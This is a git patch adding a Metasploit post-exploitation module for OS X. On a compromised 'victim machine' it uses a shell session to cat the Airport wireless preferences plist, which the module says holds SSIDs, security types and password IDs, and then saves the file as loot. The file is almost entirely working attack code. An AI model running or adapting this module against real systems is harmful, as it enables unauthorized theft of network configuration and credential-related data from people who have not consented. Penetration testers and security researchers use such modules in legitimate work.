From 844654b1e1c0768deb8686ea34ecb7dabebe74ba Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 27 Mar 2012 01:18:38 -0500 Subject: [PATCH] Add OSX Gather Airport post module --- modules/post/osx/gather/enum_airport.rb | 74 +++++++++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 modules/post/osx/gather/enum_airport.rb diff --git a/modules/post/osx/gather/enum_airport.rb b/modules/post/osx/gather/enum_airport.rb new file mode 100644 index 0000000000..9fa58848ae --- /dev/null +++ b/modules/post/osx/gather/enum_airport.rb @@ -0,0 +1,74 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'msf/core/post/common' +require 'rexml/document' + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + + def initialize(info={}) + super(update_info(info, + 'Name' => 'OSX Gather Airport Wireless Preferences', + 'Description' => %q{ + This module will download OSX Airport Wireless preferences from the victim + machine. The preferences file (which is a plist) contains information such as: + SSID, Channels, Security Type, Password ID, etc. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r'], + 'Platform' => [ 'osx' ], + 'SessionTypes' => [ "shell" ] + )) + end + + def exec(cmd) + begin + out = cmd_exec(cmd).chomp + rescue ::Timeout::Error => e + vprint_error("#{@peer} - #{e.message} - retrying...") + retry + rescue EOFError => e + vprint_error("#{@peer} - #{e.message} - retrying...") + retry + end + end + + + def get_air_preferences + pref = exec("cat /Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist") + return pref =~ /No such file or directory/ ? nil : pref + end + + def save(data) + p = store_loot( + "apple.airport.preferences", + "plain/text", + session, + data, + "com.apple.airport.preferences.plist") + + print_good("#{@peer} - plist saved in #{p}") + end + + def run + @peer = "#{session.session_host}:#{session.session_port}" + + # Download the plist. If not found (nil), then bail + pref = get_air_preferences + if pref.nil? + print_error("#{@peer} - Unable to find airport preferences") + return + end + + # Save the raw version of the plist + save(pref) + end + +end